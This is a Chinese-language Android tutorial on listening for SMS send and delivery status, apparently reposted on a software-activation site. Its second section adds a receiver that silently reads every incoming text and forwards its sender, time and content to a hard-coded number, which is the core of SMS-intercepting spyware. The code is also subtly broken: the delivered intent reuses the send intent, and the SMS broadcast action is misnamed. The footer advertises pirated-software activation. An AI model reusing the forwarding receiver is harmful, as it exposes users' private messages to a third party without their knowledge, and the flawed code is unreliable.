1.短信发送状态监听
关于pendingIntent的一个解释(参考网络):
intent英文意思是意图,pending表示即将发生或来临的事情。
PendingIntent这个类用于处理即将发生的事情。比如在通知Notification中用于跳转页面,但不是马上跳转。
Intent 是及时启动,intent 随所在的activity 消失而消失。
PendingIntent 可以看作是对intent的包装,通常通过getActivity,getBroadcast ,getService来得到pendingintent的实例,当前activity并不能马上启动它所包含的intent,而是在外部执行 pendingintent时,调用intent的。正由于pendingintent中 保存有当前App的Context,使它赋予外部App一种能力,使得外部App可以如同当前App一样的执行pendingintent里的 Intent, 就算在执行时当前App已经不存在了,也能通过存在pendingintent里的Context照样执行Intent。另外还可以处理intent执行后的操作。常和alermanger 和notificationmanager一起使用。
Intent一般是用作Activity、Sercvice、BroadcastReceiver之间传递数据,而Pendingintent,一般用在 Notification上,可以理解为延迟执行的intent,PendingIntent是对Intent一个包装。
PendingIntent就是一个Intent的描述,我们可以把这个描述交给别的程序,别的程序根据这个描述在后面的别的时间做你安排做的事情 (By giving a PendingIntent to another application, you are granting it the right to perform the operation you have specified as if the other application was yourself,就相当于PendingIntent代表了Intent)。本例中别的程序就是发送短信的程序,短信发送成功后要把intent广播出去 。
————————————————
版权声明:本文为CSDN博主「笑对生活_展望未来」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/zeng622peng/article/details/
1、创建布局文件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="match_parent" android:layout_height="match_parent"> <TableLayout android:layout_width="match_parent" android:layout_height="wrap_content"> <TableRow> <TextView android:text="收信人" android:layout_width="90dp" android:layout_height="wrap_content"/> <EditText android:id="@+id/tel" android:numeric="integer" android:layout_width="260dp" android:layout_height="wrap_content"/> </TableRow> <TableRow> <TextView android:text="内容" android:layout_width="90dp" android:layout_height="wrap_content"/> <EditText android:id="@+id/content" android:lines="6" android:gravity="top" android:layout_width="260dp" android:layout_height="wrap_content"/> </TableRow> </TableLayout> <Button android:id="@+id/send" android:text="send" android:layout_width="match_parent" android:layout_height="wrap_content"/> </LinearLayout>
2、在Manifest文件中创建用户权限
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.fengray.myex031smslisten"> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> </application> </manifest>
3、创建send发送和delivered接收的服务
SMSSendBroadcastReceiver类
public class SMSSendBroadcastReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals("SMS_SEND_ACTION")){
switch (getResultCode()){
case Activity.RESULT_OK: Toast.makeText(context, "短信已发送", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信发送失败", Toast.LENGTH_SHORT).show(); } } } }
SMSDeliveredBroadcastReceiver类
public class SMSDeliveredBroadcastReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals("SMS_DELIVERED_ACTION")){
switch (getResultCode()){
case Activity.RESULT_OK: Toast.makeText(context, "短信已接收", Toast.LENGTH_SHORT).show(); break; case SmsManager.RESULT_ERROR_GENERIC_FAILURE: Toast.makeText(context, "短信接收失败", Toast.LENGTH_SHORT).show(); } } } }
4、主activity
public class MainActivity extends AppCompatActivity {
private EditText tel,content; private Button send=null; private SMSSendBroadcastReceiver sendRec=null; private SMSDeliveredBroadcastReceiver delRec = null; private String permission[]=new String[]{
Manifest.permission.SEND_SMS,Manifest.permission.RECEIVE_SMS}; @Override protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //动态请求各种权限 for (int i = 0; i <permission.length;i++) {
ActivityCompat.requestPermissions(this,permission, i); } //c初始化组件 tel=findViewById(R.id.tel); content=findViewById(R.id.content); send=findViewById(R.id.send); sendRec =new SMSSendBroadcastReceiver(); delRec=new SMSDeliveredBroadcastReceiver(); send.setOnClickListener(new SendOnclickLinstenerImpl()); } private class SendOnclickLinstenerImpl implements View.OnClickListener{
@Override public void onClick(View v) {
Intent snetIntent=new Intent("SMS_SEND_ACTION"); Intent deliveredIntent=new Intent("SMS_DELIVERED_ACTION"); SmsManager smsManager=SmsManager.getDefault();//获得短信管理对象 String telphone=tel.getText().toString(); String stringcontent=content.getText().toString(); //通过广播启动相应的service PendingIntent sendPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0); PendingIntent deliveredPendingIntent=PendingIntent.getBroadcast(MainActivity.this,0,snetIntent, 0); //注册广播 registerReceiver(sendRec,new IntentFilter("SMS_SEND_ACTION")); registerReceiver(delRec,new IntentFilter("SMS_DELIVERED_ACTION")); //发送短信 if (stringcontent.length()>70){
List<String> smgs=smsManager.divideMessage(stringcontent);//拆分信息 Iterator<String> iterator=smgs.iterator(); while (iterator.hasNext()){
String msg=iterator.next(); smsManager.sendTextMessage(telphone,null,msg,sendPendingIntent,deliveredPendingIntent); } } else {
smsManager.sendTextMessage(telphone, null, stringcontent, sendPendingIntent, deliveredPendingIntent); } } } }
结果:
2.短信发送内容监听
1.上例基础上创建SMSBroadcastReveiver
public class SMSBroadcastReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
Object [] pdusData= (Object[]) intent.getExtras().get("pdus"); for (int i = 0; i < pdusData.length; i++) {
byte[] pdus = (byte[]) pdusData[i];//取出一条完整的短信 SmsMessage message = SmsMessage.createFromPdu(pdus);//信息数据 String phoneNumber = message.getOriginatingAddress();//取得地址 String receiveData = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date(message.getTimestampMillis())); SmsManager smsManager=SmsManager.getDefault();//获取短信管理器 PendingIntent sentIntent=PendingIntent.getActivity(context, 0,intent,PendingIntent.FLAG_UPDATE_CURRENT); String content="短信号码:"+phoneNumber+"\n发送时间:"+receiveData+"\n短信内容:"+message; Log.d("jian", "onReceive: "+content); smsManager.sendTextMessage("8",null,content,sentIntent,null); } } }
2、Manifest文件增加服务过滤器
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.fengray.myex031smslisten"> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <application android:allowBackup="true" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/AppTheme"> <activity android:name=".MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".SMSBroadcastReceiver"> <intent-filter> <action android:name="android.provider.Telephony.SMS_RECEIVE"/> </intent-filter> </receiver> </application> </manifest>
2024最新激活全家桶教程,稳定运行到2099年,请移步至置顶文章:https://sigusoft.com/99576.html
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。 文章由激活谷谷主-小谷整理,转载请注明出处:https://sigusoft.com/161836.html